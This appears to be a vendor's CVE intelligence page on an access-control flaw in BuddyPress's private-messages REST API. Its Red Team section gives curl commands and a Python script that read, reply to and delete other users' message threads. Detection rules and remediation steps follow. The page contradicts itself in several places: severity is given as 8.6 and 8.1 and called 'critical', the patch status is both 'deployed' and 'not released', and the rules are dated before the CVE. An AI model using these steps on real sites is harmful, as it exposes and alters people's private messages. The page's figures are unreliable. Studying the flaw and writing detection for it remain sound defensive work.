☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
BuddyPress logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.6 🐛 CWE-639
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-53673

CVE-2026-53673 Insecure Direct Object Reference in Buddypress
📅 PUBLISHED: 2026-06-10 00:16 UTC 🔄 UPDATED: 2026-10-02 19:26 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.52%
👁️
0.52% probability
13.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-53673 is a critical Insecure Direct Object Reference (IDOR) vulnerability in the BuddyPress WordPress plugin, version 14.4.0. The flaw resides in the messages REST API, specifically within the get_item_permissions_check method. An authenticated attacker can manipulate the user_id parameter to access, read, reply to, or delete private message threads belonging to any other user on the site. This vulnerability bypasses proper authorization checks by reusing the flawed permission check across update and delete handlers, allowing a low-privileged attacker to compromise the confidentiality and integrity of all private communications within the BuddyPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the BuddyPress plugin, a widely used component in the WordPress ecosystem. As a WordPress plugin, it is distributed via the official WordPress plugin repository and can be installed automatically or manually. The supply chain risk is elevated because:

  • Widespread Adoption: BuddyPress is a popular community plugin, making many WordPress sites vulnerable.
  • Unpatched Status: As of this report, no official patch has been released, leaving all sites running version 14.4.0 exposed.
  • Dependency Chain: Sites relying on BuddyPress for private messaging are directly impacted, and any plugin or theme that extends BuddyPress may also be affected.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (authenticated user)
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: None

Threat Level: High. The vulnerability allows an authenticated attacker to exfiltrate and manipulate all private messages, leading to severe privacy breaches and potential social engineering attacks.

Deep Dive & Mechanics

The vulnerability is an Insecure Direct Object Reference (CWE-639) in the BuddyPress REST API for private messages. The core issue is in the get_item_permissions_check method, which is supposed to verify that the current user has permission to access a specific message thread. However, the method accepts a user_id parameter from the request and uses it to validate permissions instead of checking against the authenticated user's ID. This flawed check is then reused by the update_item_permissions_check and delete_item_permissions_check handlers.

Attack Flow:

  1. An authenticated attacker obtains a valid session token or nonce.
  2. The attacker sends a GET request to /wp-json/buddypress/v1/messages/<thread_id> with a crafted user_id parameter set to the target user's ID.
  3. The get_item_permissions_check method checks if the supplied user_id has access to the thread, which it does, and returns true.
  4. The attacker can then read the entire private message thread.
  5. Similarly, the attacker can send POST or DELETE requests with the same user_id parameter to reply to or delete messages in the thread.

Root Cause: The permission check does not compare the supplied user_id against the current user's ID, allowing an attacker to impersonate any user for the purpose of accessing private messages.

Vulnerable vs. Patched Code

Vulnerable Code (BuddyPress 14.4.0):

// In class-bp-messages-rest-controller.php
public function get_item_permissions_check( $request ) {
    $user_id = $request->get_param( 'user_id' );
    // No check that $user_id matches get_current_user_id()
    if ( ! messages_check_thread_access( $thread_id, $user_id ) ) {
        return new WP_Error( 'bp_rest_authorization_required', ... );
    }
    return true;
}

Patched Code (Expected Fix):

public function get_item_permissions_check( $request ) {
    $user_id = $request->get_param( 'user_id' );
    // Enforce that the user_id must match the current user
    if ( (int) $user_id !== get_current_user_id() ) {
        return new WP_Error( 'bp_rest_authorization_required', ... );
    }
    if ( ! messages_check_thread_access( $thread_id, $user_id ) ) {
        return new WP_Error( 'bp_rest_authorization_required', ... );
    }
    return true;
}

The patch adds a strict comparison between the supplied user_id and the authenticated user's ID, preventing impersonation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with BuddyPress 14.4.0 installed and active.
  • An authenticated user account (e.g., attacker with subscriber role).
  • A target user account (e.g., victim) with private messages.

Exploitation Steps:

  1. Obtain a valid nonce:

    curl -c cookies.txt -X POST https://target.com/wp-login.php \
      -d "log=attacker&pwd=attackerpass&wp-submit=Log+In"
    
  2. List message threads for the victim:

    curl -b cookies.txt \
      "https://target.com/wp-json/buddypress/v1/messages?user_id=2"
    

    Replace 2 with the victim's user ID.

  3. Read a specific thread:

    curl -b cookies.txt \
      "https://target.com/wp-json/buddypress/v1/messages/5?user_id=2"
    
  4. Reply to a thread as the victim:

    curl -b cookies.txt -X POST \
      "https://target.com/wp-json/buddypress/v1/messages/5" \
      -d "user_id=2&content=Hacked!"
    
  5. Delete a thread:

    curl -b cookies.txt -X DELETE \
      "https://target.com/wp-json/buddypress/v1/messages/5?user_id=2"
    

Automation Script:

import requests

target = "https://target.com"
session = requests.Session()
session.post(f"{target}/wp-login.php", data={"log": "attacker", "pwd": "attackerpass", "wp-submit": "Log In"})

victim_id = 2
thread_id = 5

# Read messages
r = session.get(f"{target}/wp-json/buddypress/v1/messages/{thread_id}", params={"user_id": victim_id})
print(r.text)

# Reply
r = session.post(f"{target}/wp-json/buddypress/v1/messages/{thread_id}", data={"user_id": victim_id, "content": "Pwned!"})
print(r.status_code)

Blue Team

Detection:

  • Monitor REST API requests to /wp-json/buddypress/v1/messages for anomalous user_id parameters.
  • Alert on requests where the user_id parameter differs from the authenticated user's ID (extracted from the X-WP-Nonce or cookie).
  • Log all POST and DELETE operations on message threads for audit.

Hunting:

  • Search for API calls with user_id parameter values that do not match the user's session.
  • Correlate with user activity logs to detect unauthorized access.

Mitigation:

  • Apply the patch as soon as it becomes available.
  • Implement a Web Application Firewall (WAF) rule to block requests where user_id does not match the logged-in user.
  • Restrict API access to trusted IPs if possible.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /wp-json/buddypress/v1/messages with a user_id parameter.
    • Repeated API calls with varying user_id values from the same session.
  • Logs:
    • WordPress debug logs showing bp_rest_authorization_required errors (if the attacker fails).
    • Access logs with unusual user_id parameters.
  • System:
    • Unauthorized message replies or deletions in private threads.
    • Suspicious user accounts with low privileges making API calls.

Detection Engineering

YARA Rule

rule CVE_2026_53673_BuddyPress_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2026-53673 in BuddyPress messages REST API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-53673"
    strings:
        $api_path = "/wp-json/buddypress/v1/messages"
        $user_id_param = "user_id="
        $method_get = "GET"
        $method_post = "POST"
        $method_delete = "DELETE"
    condition:
        any of ($api_path) and any of ($user_id_param) and any of ($method_get, $method_post, $method_delete)
}

Sigma Rule

title: CVE-2026-53673 BuddyPress Messages IDOR Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-53673 via BuddyPress REST API
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/wp-json/buddypress/v1/messages"
            - "user_id="
    condition: selection
falsepositives:
    - Legitimate BuddyPress API usage by the correct user
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2026-53673 BuddyPress Messages IDOR Exploitation";
    flow:to_server,established;
    content:"/wp-json/buddypress/v1/messages";
    http_uri;
    content:"user_id=";
    http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
    reference:cve,2026-53673;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable BuddyPress Messages REST API: If not required, disable the REST API endpoint for messages by adding a filter:
    add_filter( 'bp_rest_messages_endpoint', '__return_empty_array' );
    
  2. Apply Virtual Patching: Use a WAF to block requests where user_id does not match the authenticated user.
  3. Monitor Logs: Actively monitor for exploitation attempts.

Long-Term Fix:

  • Apply the official patch from BuddyPress when released.
  • Upgrade to a patched version (e.g., 14.4.1 or later).
  • Conduct a security review of all REST API endpoints for similar IDOR issues.

Workaround:

  • Implement a custom plugin that overrides the permission check:
    add_filter( 'bp_rest_messages_get_item_permissions_check', function( $result, $request ) {
        $user_id = $request->get_param( 'user_id' );
        if ( (int) $user_id !== get_current_user_id() ) {
            return new WP_Error( 'bp_rest_authorization_required', 'Access denied.' );
        }
        return $result;
    }, 10, 2 );
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-53673/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.